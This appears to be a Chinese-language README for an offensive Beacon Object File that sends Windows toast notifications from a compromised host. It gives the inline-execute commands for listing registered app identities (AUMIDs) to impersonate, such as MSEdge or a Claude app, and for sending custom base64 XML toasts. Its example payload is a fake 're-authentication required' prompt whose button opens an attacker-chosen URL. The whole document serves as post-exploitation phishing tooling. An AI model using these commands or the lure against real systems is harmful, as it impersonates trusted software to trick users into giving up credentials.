一个用于发送Windows Toast通知的信标对象文件(BOF)。配合博客文章了解完整上下文和用例。
枚举系统中注册的AUMID(应用程序用户模型ID)。在发送Toast之前,使用此命令查找合适的身份以借用。
inline-execute toastnotify.o go getaumid
示例输出:
[Notifications\Settings - HKCU]
Microsoft.Windows.Explorer
MSEdge
com.squirrel.AnthropicClaude.claude
...
[Notifications\Settings - HKLM]
...
com.squirrel.AnthropicClaude.claude
...
发送带有标题和正文文本的标准Toast通知。内部使用ToastGeneric构建XML。
inline-execute toastnotify.o go sendtoast "MSEdge" "Title" "Notification body"
从base64编码的任意XML负载发送Toast。这就是有趣的地方,支持完整的模板:操作、协议链接、图像、进度条、选择输入、英雄图像。还有一个应用!
inline-execute toastnotify.o go custom "MSEdge" "<base64-encoded-xml>"
编码前的示例负载:
<toast>
<visual>
<binding template="ToastGeneric">
<text>Action Required</text>
<text>Your session requires re-authentication. Click to continue.</text>
</binding>
</visual>
<actions>
<action content="Continue"
activationType="protocol"
arguments="https://your-page-here.com"/>
</actions>
</toast>
编码后即可使用。